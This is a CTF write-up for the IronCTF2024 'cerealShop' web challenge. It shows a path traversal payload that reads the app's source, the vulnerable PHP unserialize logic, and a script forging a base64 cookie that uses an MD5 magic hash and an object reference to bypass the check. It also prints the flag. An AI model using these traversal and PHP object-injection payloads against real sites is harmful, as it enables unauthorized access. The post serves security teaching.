Post

IronCTF2024 web/cerealShop

My solution for IronCTF2024 web/cerealShop challenge

Challenge overview

cerealShop

The cerealShop challenge revolves around a webpage for a “Secure Store” that contains hidden elements with encoded messages. The goal is to leverage these hidden clues to extract the flag, using a combination of path traversal and cookie deserialization.

Application structure

The web page displays an online store with a simple form to search for items. Hidden within the HTML are two <p hidden> tags, one with the parameter ?file= and another with an encoded message.

Analysis

Hidden message
On the main page, we identified a hidden message containing Base64-encoded text. After decoding, the message revealed a clue: “I left a piece of code in a file called source, I bet you can’t reach it.” This pointed towards accessing the file named "source" via a path traversal vulnerability.

Identifying the vulnerabilities

Path traversal
By manipulating the ?file parameter, it was possible to navigate the directory structure and read the source file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
getMessage();
}
}
$file = $_GET['file'];
includeFile($file);
$FLAG = getenv('FLAG');
class Admin
{
public $is_admin = "";
public $your_secret = "";
public $my_secret = "";
public function __construct($in, $ysecret, $msecret)
{
$this->is_admin = md5($in);
$this->your_secret = $ysecret;
$this->my_secret = $msecret;
}
public function __toString()
{
return $this->is_admin;
}
}
if (isset($_COOKIE['can_you_get_me'])) {
try {
$f = base64_decode($_COOKIE['can_you_get_me']);
if (!$f) {
throw new Exception("");
}
$unout = unserialize($f);
if (!$unout) {
throw new Exception("\n wrong cookie");
}
$unout->my_secret = $FLAG;
if ($unout->is_admin == 0 && $unout->your_secret === $unout->my_secret) {
echo "Okay here is your flag:", $FLAG;
} else
echo "no ";
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
}
?>

Cookie deserialization
The application uses a serialized cookie (can_you_get_me) that can be manipulated to control the execution flow, leveraging the unserialize() function.

Crafting the exploit

Path traversal
By visiting the URL with https://cerealshop.1nf1n1ty.team/?file=../../../../../source, we accessed the source code of the application, which revealed a class named Admin and the logic for cookie deserialization.

Cookie deserialization
The code involved unserializing the cookie value, which allowed us to manipulate the object properties. We crafted a cookie value that:

  • Set is_admin to an MD5 hash that would evaluate to 0 (using a special case like 240610708 that results in 0e notation, which PHP interprets as 0).
  • Set your_secret to reference my_secret (i.e., a self-reference).
  • Serialized and encoded the object to create a valid manipulated cookie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Admin {
    public $is_admin = "";
    public $your_secret = "";
    public $my_secret = "";
    public function __construct($in, $ysecret, $msecret) {
        $this->is_admin = md5($in);
        $this->your_secret = $ysecret;
        $this->my_secret = $msecret;
    }
}

$admin = new Admin("240610708", "", "");
$admin->your_secret = &$admin->my_secret;
$serialized = serialize($admin);
$cookie_value = base64_encode($serialized);

echo "Crafted Cookie: " . $cookie_value;
?>

Crafted cookie become: can_you_get_me=Tzo1OiJBZG1pbiI6Mzp7czo4OiJpc19hZG1pbiI7czozMjoiMGU0NjIwOTc0MzE5MDY1MDkwMTk1NjI5ODg3MzY4NTQiO3M6MTE6InlvdXJfc2VjcmV0IjtzOjA6IiI7czo5OiJteV9zZWNyZXQiO1I6Mzt9;

Result

Flag:ironCTF{D353r1411Z4710N_4T_1T5_B35T}

Conclusion

By combining path traversal to gain access to the source code and cookie deserialization to bypass security checks, we were able to retrieve the flag. The vulnerabilities showcased the dangers of improperly handling user input for file paths and cookies, especially using the unserialize() function without proper validation.

Key takeaways

  • Hidden HTML elements can provide important clues to vulnerabilities.
  • Always sanitize inputs when dealing with file paths to prevent path traversal attacks.
  • Using unserialize() on user-controlled data is inherently dangerous, especially without implementing proper validation checks.
This post is licensed under CC BY 4.0 by the author.